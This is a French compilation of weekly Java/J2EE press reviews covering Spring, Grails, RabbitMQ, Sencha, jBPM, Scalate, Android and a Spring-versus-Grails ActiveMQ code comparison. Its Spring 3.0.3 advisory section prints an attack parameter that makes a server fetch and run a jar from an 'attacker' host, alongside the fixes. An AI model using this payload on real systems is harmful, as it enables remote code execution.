• Utilisation de scripts Groovy en ligne, écrits dans la configuration Spring
• Utilisation de Bean Builder de Grails

Cette dernière possibilité permet de créer des beans dynamiquement, à partir de code Groovy. Cela sous entend que l’on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la logique… C’est d’ailleurs une solution utilisée dans Grails.

Une fois les beans correctement définis, nous pouvons les utiliser comme n’importe quel bean Java défini plus classiquement. Le fait que les beans soient à l’origine en Groovy est complètement transparent à l’application.
La seconde partie de l’article va plus loin en explorant le rechargement à chaud des beans Groovy. C’est une plus-value importante: qui n’a jamais rêvé de pouvoir changer facilement certains bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents !) ? De plus, l’article propose une implémentation permettant de stocker son code Groovy en base de donnée, car il n’est pas toujours évident d’accéder au système de fichier des applications en production. C’est une idée assez peu conventionnelle ! D’ailleurs, le paragraphe de fin, intitulé « When Groovy scripts go bad », constitue une mise en garde pour ne pas abuser de ces possibilités, et être conscient des problèmes de sécurité soulevés.

Tant que nous somme dans le monde de Groovy, il nous semble intéressant de vous indiquer un article du blog de SpringSource qui s’intitule « GORM Gotchas (Part 1) ». Il pointe du doigt des comportements de GORM (la couche de persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d’Hibernate n’apprendront pas grand choses, mais l’article éclairera sans doutes ceux qui, attirés par la simplicité de Grails, se sont mis à l’utiliser sans expérience préalable d’Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à « save() », et pourquoi ils le sont parfois en l’absence d’appel à cette même méthode. Un autre article traitant de Grails et Hibernate nous vient de Ted Naleid. Celui-ci explique comment il a pu améliorer les performances de son batch en flushant la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s’appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !

Un nouveau top 10 orienté performance

Ce top10 se trouve sur le blog de l’éditeur Dynatrace. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d’un top 10 sélectif, chez des clients qui avaient conscience d’avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu’il est bon de toujours avoir à l’esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d’expérience.

• une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).
• une mauvaise programmation concurrente, avec un excès de synchronisation.
• un manque de compréhension des appels remote et donc un trop grand nombre d’appels.
• un mauvais usage des frameworks de mapping objet – relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l’utilisation la plus hors de propos de la librairie.
• l’existence de fuite mémoire (mais pourquoi ce point n’a t’il pas été placé en premier ?)
• une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d’introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta…
• une mauvaise utilisation des ressources machine (CPU, I/O…). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.
• des sites web trop chargés. La bande passante ne cesse d’augmenter, mais ce n’est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.
• une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c’est le Garbage Collector qui vous rappellera à l’ordre.
• la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d’objets, ou des objets trop volumineux.

Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c’est en partie la raison de vivre d’un blog éditeur) et nous préférons le déplacer en bonus :

• le problème intermittent, invisible. C’est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.

Agilité

Happy birthday Post-It !

Et pour conclure cette revue de presse, nous ne résistons pas à l’envie de partager avec vous cette nouvelle d’importance: les Post-It, ces fameuses petites notes collantes multicolores, fêtent leurs 30 ans. Rappelons que l’utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d’un Sprint sans Post-It ?! Alors pour leur rendre hommage, regardons quelques photos ou encore cette magnifique vidéo de laquelle ils sont les acteurs majeurs. Bon anniversaire les p’tits gars !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• RabbitMQ 1.8

RIA

• Du côté de chez Play! Framework
• ExtJS + Raphael + jQtouch = Sencha

SOA

• WSO2 lance Stratos, un PaaS ouvert

Le coin de la technique

• Spring, version 3.0.3 et faille de sécurité
• Trucs et astuces pour Eclipse
• Sortie d’Apache Click 2.2.0
• Netbeans 6.9
• Choisir entre mod_jk et mod_proxy, par Mark Thomas

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d’ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d’échanges semble s’adresser surtout aux spécialistes (RabbitMQ pour l’instant ne propose qu’un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d’AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d’efforts aux brokers pour l’implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n’apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s’il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

<dependency>
    <groupId>com.rabbitmq</groupId>
    <artifactId>amqp-client</artifactId>
    <version>1.8.0</version>
</dependency>

Bien que cette version ne révolutionne rien, elle corrige pas mal d’imperfections et il est chaudement conseillé de l’installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s’enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

• Play! Framework Cheat Sheet

Egalement à signaler, le lancement d’une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l’air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n’avons pas encore eu l’occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu’y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d’autres encore en incubation :

• Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
• Ext Designer : application desktop de création d’interfaces ;
• Ext JS : on ne présente plus ce framework de création d’interfaces riches en Javascript ;
• Ext GWT : Ext JS pour les développeurs Java et GWT ;
• Ext Core : librairie Javascript cross-browser ;
• [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
• [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
• [Labs] Connect : framework regroupant Rack et NodeJS (j’attend déjà avec impatience !) pour un serveur d’application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D’après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

• contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,

• Stratos n’offre pas seulement une plateforme pour le développement d’applications web, mais une architecture d’un SI d’entreprise complète avec notamment un ESB, de l’orchestration de services, etc …,

• Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d’ores et déjà l’essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d’une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l’annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l’équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l’attaque consiste à :

1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
3. Ensuite, le comportement interne de Spring fait qu’il va télécharger http://attacker/attack.jar pour l’exécuter sur la JVM du serveur d’application.

Pour se défendre de ce type d’attaque il y a deux possibilités :

• Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
• Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l’URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d’Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s’écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu’il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l’ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur et exemples.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l’IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l’IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d’articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d’Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d’en ajouter très facilement. L’auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l’application. Cela commence par la mise en place du remote debugging. Puis, l’auteur détaille les points d’arrêt conditionnels, la vue display qui permet l’exécution de code live avec toutes les variables du scope à disposition, la définition d’un detail formatter spécifique et la modification live de valeurs depuis la vue d’inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l’import/export des préférences ou la très intéressante vue local history.

La série n’étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d’un formulaire, associés à des états et une source de données. Tout comme l’ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

• intégration d’OSGI
• support de Spring 3.0.0
• support REST web services pour les applications RCP
• support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu’elle fasse de l’ombre à la version annuelle d’Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s’est fendu d’un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d’ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd’hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

• Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
• Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
• Si vous avez déjà un de ces modules en production, ne changez rien.
• Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d’information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.

Actualité éditeurs / SSII

• (VMware + Spring) + SalesForce = VMforce
• Refonte de jBPM chez JBoss
• Josh Bloch : le futur de Java, sous la houlette de Oracle

Le coin de la technique

• Scalate : un moteur de template pour Scala
• Le multitâche sur Android

Evènements de notre communauté en France et à l’étranger

• Scaladays 2010 intégralement disponible en vidéo !

(VMware + Spring) + SalesForce = VMforce

Le 27 avril dernier, Paul Maritz (CEO de VMware), Marc Benioff (CEO de SalesForce) et Rod Johnson (GM de SpringSource) ont fait une annonce conjointe pour le lancement d’une nouvelle solution cloud: VMforce.

Jusqu’à maintenant SalesForce était un des acteurs majeurs des SaaS (Software as a Service), spécialisé dans les CRM. Mais la montée en puissance de concurrents dans le cloud a poussé l’entreprise à revoir sa stratégie. Pour créer ou personnaliser des applications de SalesForce, les développeurs devaient s’appuyer exclusivement sur la plateforme de développement Force.com et sur son langage maison, l’Apex Code, relativement confidentiel. Il faut donc voir ce partenariat, avant tout, comme une ouverture des services de SalesForce au monde Java et en particulier celui de SpringSource.

Concernant Java, il est intéressant de constater que ce langage devient celui de référence pour toute solution cloud qui veut se populariser ou se standardiser. Il y a plus d’un an, Google avait subi de fortes pressions de la part de la communauté pour pouvoir utiliser Appengine avec Java en plus de Python. Encore plus étonnant, la solution cloud Azure de Microsoft propose également des ponts vers Java.

D’après Rod Johnson Spring sera vraiment au cœur de cette nouvelle offre. Son serveur tomcat, tcServer, constituera l’environnement d’exécution. SpringSource Tool Suite jouera un rôle important pour faciliter l’interopérabilité avec Force.com. On nous promet, entre autres, du drag and drop pour déployer directement des applications. Cela peut prêter à sourire mais ce genre de détail peut parfois faire basculer certains DSI, la véritable cible de cette nouvelle offre, qui cherchent les solutions les mieux intégrées aux environnements utilisés par leurs développeurs.

De son côté Force.com apporte un accès à sa base de donnée relationnelle et à de nombreux services de rapport et de partage. De plus le développement de services orientés réseau social, avec des interfaces par exemple avec Twitter ou Facebook, de ponts vers les API Google ou de portage vers les téléphones mobiles, constitue une des originalités de SalesForce et un des points forts par rapport à ses concurrents.

Cette annonce peut en étonner certains qui avaient suivi celle de l’intégration de SalesForce dans Google AppEngine, d’abord dans sa version Python puis Java. Le peu d’écho qu’elle a eu semble souligner le peu de synergies qui existent dans l’association de ces deux solutions et VMforce a, sur le papier, tout pour remplacer AppEngine comme PaaS (Platform as a Service) de référence. Bien sûr tout cela reste encore à confirmer car le lancement véritable est attendu cet automne (vous pouvez vous pré-inscrire sur cette page). Est-ce que l’intégration dans STS tiendra ses promesses ? Est-ce que cette solution arrivera à convaincre les entreprises d’externaliser une partie de leur système d’information ?

Refonte de jBPM chez JBoss

Tout commença il y a un mois par une lettre ouverte à la communauté jBPM pour annoncer le départ de JBoss de Tom Baeyens et Joram Barrez, respectivement project leader et core developer du projet de gestion de workflow de l’éditeur. Quelques jours plus tard, Tom Baeyens explique qu’ils souhaitent développer, avec Joram Barrez, leur propre plate-forme BPM, qui supportera BPMN 2.0, adoptera une licence Apache 2.0 et sera adaptée « aux nouvelles infrastructures IT ». Le flou de cette dernière mention s’éclaircit en partie lorsque nous croisâmes Tom Baeyens à la conférence NoSQL Europe de Londres ; il nous expliqua s’intéresser de près aux problématiques de persistance liées au Cloud Computing. Cette vision rafraichissante du BPM sera particulièrement intéressante à suivre…

Du coté de JBoss, l’affaire a entrainé un vaste projet de refonte. Ainsi Alejandro Guizar, nouveau project lead de jBPM, a publié deux semaines plus tard l’annonce du développement de jBPM 5 qui consistera en une fusion de jBPM et de Drools Flow. Ceci aboutirait donc à un rule driven process engine, nom donné aux moteurs BPM fusionnés avec un moteur de règles. Cette vision constitue la tendance depuis quelques temps déjà sur ce marché, mais jBPM et Drools n’avaient pas su prendre ce virage pour cause d’avis divergents entre les deux équipes. Cet évènement semble donc avoir été l’occasion d’une remise en question globale. Mark Little, CTO de JBoss, s’exprimait il y a une semaine sur l’avenir de la brique BPM de JBoss. Il reprenait ces faits en ajoutant une nouvelle importante : jBPM 4 ne deviendra pas un produit supporté par JBoss au sein de sa plate-forme commerciale SOA. Ce sera le rôle de jBPM 5.

jBPM est le moteur BPM Open Source majeur sur le marché. Ce changement de plan est donc important tant pour la communauté qui a déjà commencé à investir sur jBPM 4, sorti il y a 10 mois, que pour JBoss qui avait fortement investi dans jBPM 4. Ce dernier avait d’ailleurs connu une période de gestation particulièrement longue. Bien sûr ces investissements de part et d’autre ne sont pas perdus pour autant puisque cette nouvelle version s’appuiera pour partie sur l’existant, mais elle peut remettre en question certains choix stratégiques pour les entreprises.

Josh Bloch : le futur de Java, sous la houlette de Oracle

Pour InfoQ, Josh Bloch, l’auteur du fameux « Effective Java », fait part de ses préoccupations au sujet du futur de Java. Tout d’abord, il constate que son évolution a ralenti ces derniers mois, pour deux raisons principales :

• le manque d’implication de Sun dans les travaux autour de Java 7, qui a conduit à sans cesse repousser sa date de sortie.
• la confusion qui règne autour des différentes licences utilisées par le JCP, qui amène parfois des séparations étranges comme celle qui a eu lieu entre OpenJDK et Harmony. De plus, le support de certains éditeurs (Google a choisi Harmony comme base aux librairies Android) ne fait qu’ajouter à la confusion et à la discorde.

Oracle, en meilleure santé financière que Sun, peut sortir le JCP de l’impasse en soutenant des réformes de fond, et en portant un regard neuf sur un certain héritage un peu ‘poussiéreux’. En particulier, Oracle a déjà proposé en 2007 de réformer les règles de propriété intellectuelle du JCP pour qu’elles deviennent plus permissives pour tous les composants de base (avec une licence de type Apache ou BSD).
Pour cette raison, Josh Bloch aimerait voir Oracle réclamer le bâton de commandeur qui était la propriété de Sun.

D’autre part, les statistiques montrent une baisse de l’utilisation de Java, au profit de C. Malgré cela, aucun des « nouveaux langages » (Scala, Ruby…) n’émerge suffisamment pour apparaitre dans ces statistiques et expliquer ce désamour. Cependant, ils restent des vecteurs d’innovation qu’il faut surveiller.
Et contrairement à ce que disent les statistiques, Josh Bloch ne pense que pas Java, aussi bien en tant que langage qu’en tant que plate forme, soit sur le déclin. Il voit certes un risque de déclin, mais il compte sur Oracle et sur la communauté pour l’enrayer. D’ailleurs, il ne voit pas émerger d’alternative crédible au langage et à la JVM. D’autant plus qu’Oracle ne devrait pas prendre le risque de tenter de mettre la JVM sous licence.
En ce qui concerne la fusion JRockit / Hotspot, elle est sur le papier intéressante, mais Sun n’est jamais parvenu à réaliser une telle fusion, ne serait ce que pour les JVM client et serveur. Pour le moins, ses coûts seront élevés.

Pour finir sur une note positive, Josh Bloch rappelle que Java a connu quelques succès retentissants ces derniers mois : Google Collections, Guice, les nouveaux langages de la JVM, et Android. En comptant sur des actions décisives d’Oracle, et la coopération d’une communauté élargie, le futur de java s’annonce (malgré tout ?) brillant.

Le coin de la technique

Scalate : un moteur de template pour Scala

Voilà une bonne occasion de vous parler d’un framework qui monte dans le monde Scala, à savoir Scalate. James Strachan a annoncé sa sortie fin de semaine dernière en version 1.1. Le détail des nouveautés se trouve ici.

Scalate, pour Scala Template Engine, est un moteur de template qui s’appuie sur Scala 2.8 et permet de générer plusieurs type de documents (texte, balises…). Il est actuellement utilisable :

• de manière standalone,
• dans des Servlets,
• dans Jersey,
• dans Play! Framework grâce au projet Play-Scalate,
• et dans Apache Camel,
• avec prochainement l’intégration à Lift.

Scalate supporte les templates de type SSP pour Scala Server Pages dont Velocity ou bien encore JSP. Ainsi Scalate supporte ${ }, <%= %>, <% %> ou bien encore #for, #if et #{ }. L’autre format géré est le Scaml pour Scala Markup Language qui est un dialecte (haml) pour simplifier la description d’un document web. Petit exemple :

// ssp template
<p>
   <%= List("hi", "there", "reader!").mkString(" ") %>
   ${ "yo "+(3+4) }
</p>
// ssp rendering
<p>
   hi there reader!
   yo 7
</p>
// scaml template
%gee
   %whiz
      Wow this is cool!
// scaml rendering
<gee>
   <whiz>
      Wow this is cool!
   </whiz>
</gee>

Il n’y a plus qu’à jouer avec !

Le multitâche sur Android

Qui aurai cru il y a encore peu que nous disposerions aujourd’hui d’équipements de poche ayant les capacités de faire tourner plusieurs applications riches simultanément, en Java qui plus est, malgré sa réputation de glouton en mémoire ? Ce temps là est révolu et Android montre combien un système basé sur Java peut se montrer performant. Néanmoins, pour atteindre cet objectif, il aura fallu que Google mette au point de nombreuses techniques. C’est ce que nous explique cet article du Android Developers blog, le blog Google de référence sur le sujet.
Les objectifs (simplifier la vie de l’utilisateur au maximum en supprimant la notion de « fermer » une application…) et les contraintes (pas de swap…) sont expliqués ainsi que leurs conséquences sur la gestion de la mémoire dans les applications et l’OS.

on découvre certaines spécificités qui peuvent sembler étonnantes au commun des programmeurs. ainsi, des applications qui apparaissent en cours d’exécution peuvent n’avoir en fait aucun processus en cours ! Un autre point très intrigant est que les applications sont généralement tuées brutalement ! L’astuce consiste à garder la trace des parties de l’application visibles, les Activity, pour les redémarrer avec les infos de leur dernier état si besoin. si l’utilisateur n’y voit que du feu, le programmeur expérimenté sera lui surpris par ce fonctionnement peu orthodoxe mais visiblement efficace.

L’article va ensuite plus loin en explorant la façon dont sont gérés les services, à travers les notions de Broadcast Receivers et de Services. Les premiers permettent de réagir ponctuellement et brièvement à des stimuli externes alors que les seconds effectuent des opérations longues mais sans garanties aucune quant à leur survie: Android peut les tuer en cas de besoin.

Rassurez-vous, tout n’est pas complètement nouveau dans Android et certains concepts restent identiques à ce que l’on connaît en Java desktop. Sur developpez.com Davy Leggieri nous offre 2 bons articles: l’un sur les threads composants une application Android et l’autre plus précisément centré sur l’UI Thread. Cela rappellera des souvenirs aux développeurs Swing qui, avec son Event Dispatch Thread, impose des contraintes similaires. Les environnements changent, mais certains fondamentaux restent !

Evènements de notre communauté en France et à l’étranger

Scaladays 2010 intégralement disponible en vidéo !

Si comme moi vous n’avez pas pu vous rendre au Scaladays 2010 de Lausanne, réjouissez-vous : toutes les vidéos sont déjà disponibles à cette adresse !
Du discours d’ouverture de Martin Odersky en passant par les Parallel Collections ou bien encore une session sur Scala at LinkedIn, redécouvrez les grands moments de cette première grosse conférence sur Scala. Les vidéos sont disponibles en basse et haute qualité et, pour les nomades, des verions .mp4 sont téléchargeables.
Je sais déjà ce que je vais regarder dans le bus dans les prochaines semaines
Et pour un petit résumé de ces deux jours, je vous renvoie vers le blog de François pour un article qui ne peut que faire regretter de pas y être allé…

Dans ce premier billet, nous nous attarderons sur la comparaison entre deux implémentations d’une application utilisant JMS et ActiveMQ : une première implémentation avec Spring et JMS et une deuxième avec le plugin grails-activemq.

JMS et ActiveMQ avec Spring

Je vous propose dans un premier temps une implémentation de base d’ActiveMQ avec Spring. Pour cela plusieurs étapes sont nécessaires :

• Télécharger et installer ActiveMQ.
• Créer un pom.xml avec les dépendances nécessaires.
• Déclarer les beans nécessaires dans le fichier applicationContext-services.xml :

<?xml version="1.0" encoding="ISO-8859-1"?>
<beans>
<!-- pool de connection JMS -->
<bean id="jmsFactory" class="org.apache.activemq.pool.PooledConnectionFactory" destroy- method="stop">
  <property name="connectionFactory">
    <bean class="org.apache.activemq.ActiveMQConnectionFactory">
      <property name="brokerURL">
        <value>tcp://localhost:61616</value>
      </property>
    </bean>
  </property>
</bean>
<!-- template JMS Spring simplifiant la gestion des message JMS -->
<bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate">
  <property name="connectionFactory">
    <ref local="jmsFactory"/>
   </property>
</bean>
<!-- Définition d'une queue permettant d'échanger les message JMS -->
<bean id="destination" class="org.apache.activemq.command.ActiveMQQueue">
  <constructor-arg index="0">
    <value>queue.destination</value>
   </constructor-arg>
</bean>
<!-- Template JMS Spring simplifiant la gestion des message JMS -->
<bean id="listenerSample" class="sample.activemq.ListenerSample "/>
<bean id="listenerContainer" class="org.springframework.jms.listener.DefaultMessageListenerContainer">
  <property name="concurrentConsumers" value="3"/>
  <property name="connectionFactory" ref="jmsFactory" />
  <property name="destination" ref="destination" />
  <property name="messageListener" ref="listenerSample" />
</bean>
<!-- création d'un bean spring qui utilise le template JMS et la destination pour envoyer les message -->
<bean id="springProducer" class="sample.activemq.ProducerSample">
  <property name="template" ref="jmsTemplate"/>
  <property name="destination" ref="destination"/>
</bean>
</beans>

• Créer le bean ProducerSample, qui s’appuie sur JmsTemplate de Spring pour créer et envoyer les messages JMS :

package sample.activemq;
import javax.jms.Destination;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.Session;
import javax.jms.TextMessage;
import org.springframework.jms.core.JmsTemplate;
import org.springframework.jms.core.MessageCreator;
import java.util.Date;
/**
 * @author karl verger
 */
public class ProducerSample {
   private JmsTemplate jmsTemplate;
   private Destination destination;
   public void sendMessage(){
      MessageCreator messageCreator = new MessageCreator() {
        public Message createMessage(Session session) throws JMSException {
           TextMessage textMessage = session.createTextMessage();
           textMessage.setText("Hi, this is a Hello World with JMS & ActiveMQ, " + new Date());
           textMessage.setJMSType("text");
           return textMessage;
        }
      };
      getTemplate().send(getDestination(), messageCreator);
    }
    public JmsTemplate getJmsTemplate() {
      return jmsTemplate;
    }
    public void setJmsTemplate(JmsTemplate template) {
      this.jmsTemplate = jmsTemplate;
    }
    public Destination getDestination() {
      return destination;
    }
    public void setDestination(Destination destination) {
     this.destination = destination;
    }
}

• Créer le bean ListenerSample pour consommer les messages de manière asynchrone :

package sample.activemq;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;
import javax.jms.TextMessage;
/**
 * @author karl verger
 */
public class ListenerSample implements MessageListener {
   public void onMessage(Message message) {
     try {
        System.out.println("GOT MESSAGE: "+ ((TextMessage)message).getText() );
     } catch (JMSException ex) {
        Logger.getLogger(JmsListenerSample.class.getName()).
        log(Level.SEVERE, null, ex);
     }
   }
}

JMS et ActiveMQ avec Grails

Je vais essayer de démontrer à quel point l’utilisation de Grails permet de simplifier l’implémentation d’ActiveMQ et de booster la productivité. La mise en place de JMS avec Grails et ActiveMQ nécessite les étapes suivantes :

• Installer le plugin ActiveMQ avec la commande : grails install-plugin activemq
• Installer le plugin JMS avec la commande : grails install-plugin jms
• Créer une classe Groovy pour la production de messages :

class ProducerSample {
    def index = {
        def message = "Hi, this is a Hello World with JMS & ActiveMQ, " + new Date()
        sendJMSMessage("queue.destination", message)
        render message
    }
}

• Créer un service Groovy pour la réception des messages :

class ListenerSample {
    boolean transactional = false
    static expose = ['jms']
    static destination = "queue.destination"
    def onMessage = {
       println "GOT MESSAGE: $it"
    }
}

Retour d’expérience

La création et la préparation du projet Grails est très simple, l’outil create-app permet de générer rapidement la structure du projet avec des exemples de code fonctionnel. Avec Spring plusieurs étapes sont nécessaires pour la création et la configuration du projet.

Avec Grails, la configuration par défaut est générée lors de l’installation des plugins JMS et ActiveMQ ce qui n’est pas le cas pour l’exemple Spring ou une déclaration des beans est nécessaire dans le fichier application-services.xml.

Le plugin grails-activemq fournit une solution simple pour l’échange de messages entre applications et composants permettant ainsi de booster la productivité et de produire un code simple et facilement maintenable. Toutefois, ce plugin n’est toujours pas production ready et reste donc, pour le moment, à tester à petite échelle.

Actualité éditeurs / SSII

• TC Server spécial printemps

Le coin de la technique

• Html5 en action
• soapUI s’enrichit du support de JMS et AMF
• Des tests unitaires expressifs grâce à Spock
• JBoss simplifie les tests dans les conteneurs EJB

Evènements de notre communauté en France et à l’étranger

• Salon « Solutions Linux Open Source »

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

TC Server spécial printemps

Plus besoin de vous présenter Spring TC Server dont nous avons déjà parlé plus d’une fois sur le blog. Pour mémoire, TC Server est un Tomcat intégré à la sauce Spring. La nouveauté de la semaine vient de l’annonce d’une édition spéciale du TC Server 2.0 pour le printemps. Le TC Server Spring Edition est annoncé pour Avril et déjà mis à disposition des développeurs via la Developer Edition. L’offre TC Server se répartit donc maintenant en trois éditions différentes:

• L’édition standard qui intègre l’offre de base TC Server (Administration, Déploiement, Diagnostic par Thread et Heap dump).
• L’édition spring ajoute à la première offre, le monitoring automatique des applications déployées.
